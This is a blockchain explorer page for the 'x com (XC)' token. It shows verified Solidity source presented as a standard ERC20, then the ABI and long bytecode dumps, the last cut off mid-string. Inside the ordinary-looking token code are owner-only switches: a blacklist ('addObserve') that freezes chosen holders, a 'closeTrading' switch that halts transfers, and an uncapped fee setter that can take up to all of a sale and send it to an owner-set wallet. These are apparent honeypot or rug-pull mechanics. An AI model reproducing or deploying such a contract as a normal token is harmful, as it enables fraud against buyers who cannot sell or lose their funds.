ETH Price: $3,409.91 (+1.76%)

Token

x com (XC)
 

Overview

Max Total Supply

42,069,000,000,000,000,000,000,000 XC

Holders

225

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 0 Decimals)

Balance
7,087,797 XC

Value
$0.00
0xf09A27480c15737C2f59Bb427E2Cb6Efe58C0900
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
ERC20

Compiler Version
v0.8.17+commit.8df45f5f

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-08-01
*/

// SPDX-License-Identifier: MIT

pragma solidity ^0.8.0;

interface IERC20 {
    function decimals() external view returns (uint8);
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IUniswapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

interface IUniswapFactory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

abstract contract Ownable {
    address internal _owner;

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = msg.sender;
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == msg.sender, "you are not owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(newOwner != address(0), "new is 0");
        emit OwnershipTransferred(_owner, newOwner);
        _owner = newOwner;
    }
}

contract ERC20 is IERC20, Ownable {
    mapping(address => uint256) private _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    address public fundAddress;

    string private _name;
    string private _symbol;
    uint8 private _decimals;

    mapping(address => bool) public _isExcludeFromFee;
    
    uint256 private _totalSupply;

    IUniswapRouter public _uniswapRouter;

    mapping(address => bool) public isMarketPair;
    bool private inSwap;

    uint256 private constant MAX = ~uint256(0);

    uint256 public _buyFundFee = 1;
    uint256 public _sellFundFee = 1;

    address public _uniswapPair;

    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor (){
        _name = "x com";
        _symbol = "XC";
        _decimals = 0;
        uint256 Supply = 42069000000000000000000000;
        
        IUniswapRouter swapRouter = IUniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);

        _uniswapRouter = swapRouter;
        _allowances[address(this)][address(swapRouter)] = MAX;

        IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());
        address swapPair = swapFactory.createPair(address(this), swapRouter.WETH());
        _uniswapPair = swapPair;
        isMarketPair[swapPair] = true;

        _totalSupply = Supply * 10 ** _decimals;
        require(_totalSupply < ~uint112(0),"high decimals");

        address receiveAddr = 0x7a3F25291aDaa2E1B569872Ecef3aDc67d07F03E;
        _balances[receiveAddr] = _totalSupply;
        emit Transfer(address(0), receiveAddr, _totalSupply);

        fundAddress = 0xDa4875e496513c072345550E6fD9e79A2ff06C76;

        _isExcludeFromFee[address(this)] = true;
        _isExcludeFromFee[address(swapRouter)] = true;
        _isExcludeFromFee[msg.sender] = true;
        _isExcludeFromFee[receiveAddr] = true;
        _isExcludeFromFee[fundAddress] = true;
    }

    function setFundAddr(address newAddr) public onlyOwner{
        fundAddress = newAddr;
    }

    function symbol() external view override returns (string memory) {
        return _symbol;
    }

    function name() external view override returns (string memory) {
        return _name;
    }

    function decimals() external view override returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(msg.sender, recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        if (_allowances[sender][msg.sender] != MAX) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return true;
    }

    function DesignTax(
        uint256 newBuyFundFee,
        uint256 newSellFundFee
    ) public onlyOwner{
        _buyFundFee = newBuyFundFee;
        _sellFundFee = newSellFundFee;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    mapping(address => bool) public _observe;
    function addObserve(address account) public onlyOwner{
        _observe[account] = true;
    }

    function delObserve(address account) public onlyOwner{
        _observe[account] = false;
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) private {
        uint256 balance = balanceOf(from);
        require(balance >= amount, "balanceNotEnough");

        bool takeFee;
        bool sellFlag;

        if (isMarketPair[to] && !inSwap && !_isExcludeFromFee[from] && !_isExcludeFromFee[to]) {
            uint256 contractTokenBalance = balanceOf(address(this));
            if (contractTokenBalance > 0) {
                uint256 numTokensSellToFund = amount;
                numTokensSellToFund = numTokensSellToFund > contractTokenBalance ? 
                                                            contractTokenBalance:numTokensSellToFund;
                swapTokenForETH(numTokensSellToFund);
            }
        }

        require(!_observe[from],"observe");

        if (!_isExcludeFromFee[from] && !_isExcludeFromFee[to] && !inSwap) {
            require(tradingBlock > 0,"!trading");
            takeFee = true;
        }

        if (isMarketPair[to]) { sellFlag = true; }

        _transferToken(from, to, amount, takeFee, sellFlag);
    }

    uint256 public tradingBlock;
    function enableTrading() public onlyOwner{
        require(tradingBlock == 0,"already trading");
        tradingBlock = block.number;
    }

    function closeTrading() public onlyOwner{
        tradingBlock = 0;
    }

    function _transferToken(
        address sender,
        address recipient,
        uint256 tAmount,
        bool takeFee,
        bool sellFlag
    ) private {
        _balances[sender] = _balances[sender] - tAmount;
        uint256 feeAmount;

        if (takeFee) {
            
            uint256 taxFee;

            if (sellFlag) {
                taxFee = _sellFundFee;
            } else {
                taxFee = _buyFundFee;
            }
            uint256 swapAmount = tAmount * taxFee / 100;
            if (swapAmount > 0) {
                feeAmount += swapAmount;
                _balances[address(this)] = _balances[address(this)] + swapAmount;
                emit Transfer(sender, address(this), swapAmount);
            }
        }

        _balances[recipient] = _balances[recipient] + (tAmount - feeAmount);
        emit Transfer(sender, recipient, tAmount - feeAmount);

    }

    function swapTokenForETH(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapRouter.WETH();
        try _uniswapRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(fundAddress),
            block.timestamp
        ) {} catch {}

    }

    function setIsExcludeFromFees(address account, bool value) public onlyOwner{
        _isExcludeFromFee[account] = value;
    }

    receive() external payable {}
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"uint256","name":"newBuyFundFee","type":"uint256"},{"internalType":"uint256","name":"newSellFundFee","type":"uint256"}],"name":"DesignTax","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"_buyFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_isExcludeFromFee","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_observe","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_sellFundFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapPair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_uniswapRouter","outputs":[{"internalType":"contract IUniswapRouter","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"addObserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"closeTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"delObserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"fundAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"isMarketPair","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newAddr","type":"address"}],"name":"setFundAddr","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"value","type":"bool"}],"name":"setIsExcludeFromFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"tradingBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

60806040526001600c556001600d553480156200001b57600080fd5b50600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a3506040805180820190915260058152647820636f6d60d81b6020820152600490620000889082620004c5565b50604080518082019091526002815261584360f01b6020820152600590620000b19082620004c5565b506006805460ff19169055600980546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d90811790915530600090815260026020908152604080832084845282528083206000199055805163c45a015560e01b815290516a22cc750f4975516b200000949392849263c45a015592600480830193928290030181865afa1580156200014a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019062000170919062000591565b90506000816001600160a01b031663c9c6539630856001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015620001c3573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190620001e9919062000591565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af115801562000237573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906200025d919062000591565b600e80546001600160a01b0319166001600160a01b0383169081179091556000908152600a60208190526040909120805460ff19166001179055600654919250620002ac9160ff1690620006d8565b620002b89085620006e9565b60088190556001600160701b0311620003075760405162461bcd60e51b815260206004820152600d60248201526c6869676820646563696d616c7360981b604482015260640160405180910390fd5b600854737a3f25291adaa2e1b569872ecef3adc67d07f03e6000818152600160209081527f324e997e06b85f65155eeb69b59886801e95c5be8bf576754c1ab5a0f9866bb8849055604051938452919283927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a3600380546001600160a01b03191673da4875e496513c072345550e6fd9e79a2ff06c7617815530600090815260076020526040808220805460ff1990811660019081179092556001600160a01b0398891684528284208054821683179055338452828420805482168317905594881683528183208054861682179055925490961681529490942080549091169093179092555062000703915050565b634e487b7160e01b600052604160045260246000fd5b600181811c908216806200044b57607f821691505b6020821081036200046c57634e487b7160e01b600052602260045260246000fd5b50919050565b601f821115620004c057600081815260208120601f850160051c810160208610156200049b5750805b601f850160051c820191505b81811015620004bc57828155600101620004a7565b5050505b505050565b81516001600160401b03811115620004e157620004e162000420565b620004f981620004f2845462000436565b8462000472565b602080601f831160018114620005315760008415620005185750858301515b600019600386901b1c1916600185901b178555620004bc565b600085815260208120601f198616915b82811015620005625788860151825594840194600190910190840162000541565b5085821015620005815787850151600019600388901b60f8161c191681555b5050505050600190811b01905550565b600060208284031215620005a457600080fd5b81516001600160a01b0381168114620005bc57600080fd5b9392505050565b634e487b7160e01b600052601160045260246000fd5b600181815b808511156200061a578160001904821115620005fe57620005fe620005c3565b808516156200060c57918102915b93841c9390800290620005de565b509250929050565b6000826200063357506001620006d2565b816200064257506000620006d2565b81600181146200065b5760028114620006665762000686565b6001915050620006d2565b60ff8411156200067a576200067a620005c3565b50506001821b620006d2565b5060208310610133831016604e8410600b8410161715620006ab575081810a620006d2565b620006b78383620005d9565b8060001904821115620006ce57620006ce620005c3565b0290505b92915050565b6000620005bc60ff84168362000622565b8082028115828204841417620006d257620006d2620005c3565b61130380620007136000396000f3fe6080604052600436106101bb5760003560e01c8063715018a6116100ec578063c447ba1a1161008a578063dd62ed3e11610064578063dd62ed3e146104f7578063e82bef291461053d578063f0ab32ec1461055d578063f2fde38b1461057d57600080fd5b8063c447ba1a146104ab578063cd51e6d4146104cb578063ce0192f9146104e157600080fd5b80638da5cb5b116100c65780638da5cb5b1461044357806395d89b411461046157806397a9895514610476578063a9059cbb1461048b57600080fd5b8063715018a6146103f9578063863587cd1461040e5780638a8c523c1461042e57600080fd5b80633bfe62ca116101595780634bf28fd0116101335780634bf28fd01461034b57806365b61b77146103835780636f39cfcd146103a357806370a08231146103c357600080fd5b80633bfe62ca146102d55780633ecad271146102eb5780634b1abf6f1461031b57600080fd5b806323b872dd1161019557806323b872dd146102415780632741a25114610261578063313ce5671461028357806336b2e027146102a557600080fd5b806306fdde03146101c7578063095ea7b3146101f257806318160ddd1461022257600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101dc61059d565b6040516101e99190610fca565b60405180910390f35b3480156101fe57600080fd5b5061021261020d366004611030565b61062f565b60405190151581526020016101e9565b34801561022e57600080fd5b506008545b6040519081526020016101e9565b34801561024d57600080fd5b5061021261025c36600461105c565b610646565b34801561026d57600080fd5b5061028161027c36600461109d565b6106dd565b005b34801561028f57600080fd5b5060065460405160ff90911681526020016101e9565b3480156102b157600080fd5b506102126102c036600461109d565b60076020526000908152604090205460ff1681565b3480156102e157600080fd5b50610233600d5481565b3480156102f757600080fd5b5061021261030636600461109d565b600a6020526000908152604090205460ff1681565b34801561032757600080fd5b5061021261033636600461109d565b600f6020526000908152604090205460ff1681565b34801561035757600080fd5b50600e5461036b906001600160a01b031681565b6040516001600160a01b0390911681526020016101e9565b34801561038f57600080fd5b5060095461036b906001600160a01b031681565b3480156103af57600080fd5b506102816103be36600461109d565b610731565b3480156103cf57600080fd5b506102336103de36600461109d565b6001600160a01b031660009081526001602052604090205490565b34801561040557600080fd5b5061028161077d565b34801561041a57600080fd5b506102816104293660046110c1565b6107f1565b34801561043a57600080fd5b50610281610846565b34801561044f57600080fd5b506000546001600160a01b031661036b565b34801561046d57600080fd5b506101dc6108b8565b34801561048257600080fd5b506102816108c7565b34801561049757600080fd5b506102126104a6366004611030565b6108f8565b3480156104b757600080fd5b506102816104c63660046110ff565b610905565b3480156104d757600080fd5b5061023360105481565b3480156104ed57600080fd5b50610233600c5481565b34801561050357600080fd5b50610233610512366004611121565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561054957600080fd5b5060035461036b906001600160a01b031681565b34801561056957600080fd5b5061028161057836600461109d565b61093a565b34801561058957600080fd5b5061028161059836600461109d565b610988565b6060600480546105ac9061114f565b80601f01602080910402602001604051908101604052809291908181526020018280546105d89061114f565b80156106255780601f106105fa57610100808354040283529160200191610625565b820191906000526020600020905b81548152906001019060200180831161060857829003601f168201915b5050505050905090565b600061063c338484610a4e565b5060015b92915050565b6000610653848484610aaf565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146106d3576001600160a01b03841660009081526002602090815260408083203384529091529020546106ae90839061119f565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146107105760405162461bcd60e51b8152600401610707906111b2565b60405180910390fd5b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6000546001600160a01b0316331461075b5760405162461bcd60e51b8152600401610707906111b2565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107a75760405162461bcd60e51b8152600401610707906111b2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461081b5760405162461bcd60e51b8152600401610707906111b2565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108705760405162461bcd60e51b8152600401610707906111b2565b601054156108b25760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b6044820152606401610707565b43601055565b6060600580546105ac9061114f565b6000546001600160a01b031633146108f15760405162461bcd60e51b8152600401610707906111b2565b6000601055565b600061063c338484610aaf565b6000546001600160a01b0316331461092f5760405162461bcd60e51b8152600401610707906111b2565b600c91909155600d55565b6000546001600160a01b031633146109645760405162461bcd60e51b8152600401610707906111b2565b6001600160a01b03166000908152600f60205260409020805460ff19166001179055565b6000546001600160a01b031633146109b25760405162461bcd60e51b8152600401610707906111b2565b6001600160a01b0381166109f35760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610707565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610b0b5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610707565b6001600160a01b0383166000908152600a6020526040812054819060ff168015610b385750600b5460ff16155b8015610b5d57506001600160a01b03861660009081526007602052604090205460ff16155b8015610b8257506001600160a01b03851660009081526007602052604090205460ff16155b15610bbc57306000908152600160205260409020548015610bba5784818111610bab5780610bad565b815b9050610bb881610ce1565b505b505b6001600160a01b0386166000908152600f602052604090205460ff1615610c0f5760405162461bcd60e51b81526020600482015260076024820152666f62736572766560c81b6044820152606401610707565b6001600160a01b03861660009081526007602052604090205460ff16158015610c5157506001600160a01b03851660009081526007602052604090205460ff16155b8015610c605750600b5460ff16155b15610ca757600060105411610ca25760405162461bcd60e51b81526020600482015260086024820152672174726164696e6760c01b6044820152606401610707565b600191505b6001600160a01b0385166000908152600a602052604090205460ff1615610ccc575060015b610cd98686868585610e39565b505050505050565b600b805460ff191660011790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d2357610d236111dd565b6001600160a01b03928316602091820292909201810191909152600954604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610d7c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610da091906111f3565b81600181518110610db357610db36111dd565b6001600160a01b03928316602091820292909201015260095460035460405163791ac94760e01b81529183169263791ac94792610dff9287926000928892909116904290600401611210565b600060405180830381600087803b158015610e1957600080fd5b505af1925050508015610e2a575060015b505050600b805460ff19169055565b6001600160a01b038516600090815260016020526040902054610e5d90849061119f565b6001600160a01b0386166000908152600160205260408120919091558215610f3a5760008215610e905750600d54610e95565b50600c545b60006064610ea38388611281565b610ead9190611298565b90508015610f3757610ebf81846112ba565b30600090815260016020526040902054909350610edd9082906112ba565b30600081815260016020526040908190209290925590516001600160a01b038a16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610f2e9085815260200190565b60405180910390a35b50505b610f44818561119f565b6001600160a01b038616600090815260016020526040902054610f6791906112ba565b6001600160a01b0380871660008181526001602052604090209290925587167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fb1848861119f565b60405190815260200160405180910390a3505050505050565b600060208083528351808285015260005b81811015610ff757858101830151858201604001528201610fdb565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461102d57600080fd5b50565b6000806040838503121561104357600080fd5b823561104e81611018565b946020939093013593505050565b60008060006060848603121561107157600080fd5b833561107c81611018565b9250602084013561108c81611018565b929592945050506040919091013590565b6000602082840312156110af57600080fd5b81356110ba81611018565b9392505050565b600080604083850312156110d457600080fd5b82356110df81611018565b9150602083013580151581146110f457600080fd5b809150509250929050565b6000806040838503121561111257600080fd5b50508035926020909101359150565b6000806040838503121561113457600080fd5b823561113f81611018565b915060208301356110f481611018565b600181811c9082168061116357607f821691505b60208210810361118357634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b8181038181111561064057610640611189565b6020808252601190820152703cb7ba9030b932903737ba1037bbb732b960791b604082015260600190565b634e487b7160e01b600052603260045260246000fd5b60006020828403121561120557600080fd5b81516110ba81611018565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b818110156112605784516001600160a01b03168352938301939183019160010161123b565b50506001600160a01b03969096166060850152505050608001529392505050565b808202811582820484141761064057610640611189565b6000826112b557634e487b7160e01b600052601260045260246000fd5b500490565b808201808211156106405761064061118956fea26469706673582212203a75e81faeae0366f99a455836a58a3140d62a6566c2f9edd27379220831cddb64736f6c63430008110033

Deployed Bytecode

0x6080604052600436106101bb5760003560e01c8063715018a6116100ec578063c447ba1a1161008a578063dd62ed3e11610064578063dd62ed3e146104f7578063e82bef291461053d578063f0ab32ec1461055d578063f2fde38b1461057d57600080fd5b8063c447ba1a146104ab578063cd51e6d4146104cb578063ce0192f9146104e157600080fd5b80638da5cb5b116100c65780638da5cb5b1461044357806395d89b411461046157806397a9895514610476578063a9059cbb1461048b57600080fd5b8063715018a6146103f9578063863587cd1461040e5780638a8c523c1461042e57600080fd5b80633bfe62ca116101595780634bf28fd0116101335780634bf28fd01461034b57806365b61b77146103835780636f39cfcd146103a357806370a08231146103c357600080fd5b80633bfe62ca146102d55780633ecad271146102eb5780634b1abf6f1461031b57600080fd5b806323b872dd1161019557806323b872dd146102415780632741a25114610261578063313ce5671461028357806336b2e027146102a557600080fd5b806306fdde03146101c7578063095ea7b3146101f257806318160ddd1461022257600080fd5b366101c257005b600080fd5b3480156101d357600080fd5b506101dc61059d565b6040516101e99190610fca565b60405180910390f35b3480156101fe57600080fd5b5061021261020d366004611030565b61062f565b60405190151581526020016101e9565b34801561022e57600080fd5b506008545b6040519081526020016101e9565b34801561024d57600080fd5b5061021261025c36600461105c565b610646565b34801561026d57600080fd5b5061028161027c36600461109d565b6106dd565b005b34801561028f57600080fd5b5060065460405160ff90911681526020016101e9565b3480156102b157600080fd5b506102126102c036600461109d565b60076020526000908152604090205460ff1681565b3480156102e157600080fd5b50610233600d5481565b3480156102f757600080fd5b5061021261030636600461109d565b600a6020526000908152604090205460ff1681565b34801561032757600080fd5b5061021261033636600461109d565b600f6020526000908152604090205460ff1681565b34801561035757600080fd5b50600e5461036b906001600160a01b031681565b6040516001600160a01b0390911681526020016101e9565b34801561038f57600080fd5b5060095461036b906001600160a01b031681565b3480156103af57600080fd5b506102816103be36600461109d565b610731565b3480156103cf57600080fd5b506102336103de36600461109d565b6001600160a01b031660009081526001602052604090205490565b34801561040557600080fd5b5061028161077d565b34801561041a57600080fd5b506102816104293660046110c1565b6107f1565b34801561043a57600080fd5b50610281610846565b34801561044f57600080fd5b506000546001600160a01b031661036b565b34801561046d57600080fd5b506101dc6108b8565b34801561048257600080fd5b506102816108c7565b34801561049757600080fd5b506102126104a6366004611030565b6108f8565b3480156104b757600080fd5b506102816104c63660046110ff565b610905565b3480156104d757600080fd5b5061023360105481565b3480156104ed57600080fd5b50610233600c5481565b34801561050357600080fd5b50610233610512366004611121565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b34801561054957600080fd5b5060035461036b906001600160a01b031681565b34801561056957600080fd5b5061028161057836600461109d565b61093a565b34801561058957600080fd5b5061028161059836600461109d565b610988565b6060600480546105ac9061114f565b80601f01602080910402602001604051908101604052809291908181526020018280546105d89061114f565b80156106255780601f106105fa57610100808354040283529160200191610625565b820191906000526020600020905b81548152906001019060200180831161060857829003601f168201915b5050505050905090565b600061063c338484610a4e565b5060015b92915050565b6000610653848484610aaf565b6001600160a01b0384166000908152600260209081526040808320338452909152902054600019146106d3576001600160a01b03841660009081526002602090815260408083203384529091529020546106ae90839061119f565b6001600160a01b03851660009081526002602090815260408083203384529091529020555b5060019392505050565b6000546001600160a01b031633146107105760405162461bcd60e51b8152600401610707906111b2565b60405180910390fd5b6001600160a01b03166000908152600f60205260409020805460ff19169055565b6000546001600160a01b0316331461075b5760405162461bcd60e51b8152600401610707906111b2565b600380546001600160a01b0319166001600160a01b0392909216919091179055565b6000546001600160a01b031633146107a75760405162461bcd60e51b8152600401610707906111b2565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b0316331461081b5760405162461bcd60e51b8152600401610707906111b2565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108705760405162461bcd60e51b8152600401610707906111b2565b601054156108b25760405162461bcd60e51b815260206004820152600f60248201526e616c72656164792074726164696e6760881b6044820152606401610707565b43601055565b6060600580546105ac9061114f565b6000546001600160a01b031633146108f15760405162461bcd60e51b8152600401610707906111b2565b6000601055565b600061063c338484610aaf565b6000546001600160a01b0316331461092f5760405162461bcd60e51b8152600401610707906111b2565b600c91909155600d55565b6000546001600160a01b031633146109645760405162461bcd60e51b8152600401610707906111b2565b6001600160a01b03166000908152600f60205260409020805460ff19166001179055565b6000546001600160a01b031633146109b25760405162461bcd60e51b8152600401610707906111b2565b6001600160a01b0381166109f35760405162461bcd60e51b815260206004820152600860248201526706e657720697320360c41b6044820152606401610707565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831660009081526001602052604090205481811015610b0b5760405162461bcd60e51b815260206004820152601060248201526f0c4c2d8c2dcc6ca9cdee88adcdeeaced60831b6044820152606401610707565b6001600160a01b0383166000908152600a6020526040812054819060ff168015610b385750600b5460ff16155b8015610b5d57506001600160a01b03861660009081526007602052604090205460ff16155b8015610b8257506001600160a01b03851660009081526007602052604090205460ff16155b15610bbc57306000908152600160205260409020548015610bba5784818111610bab5780610bad565b815b9050610bb881610ce1565b505b505b6001600160a01b0386166000908152600f602052604090205460ff1615610c0f5760405162461bcd60e51b81526020600482015260076024820152666f62736572766560c81b6044820152606401610707565b6001600160a01b03861660009081526007602052604090205460ff16158015610c5157506001600160a01b03851660009081526007602052604090205460ff16155b8015610c605750600b5460ff16155b15610ca757600060105411610ca25760405162461bc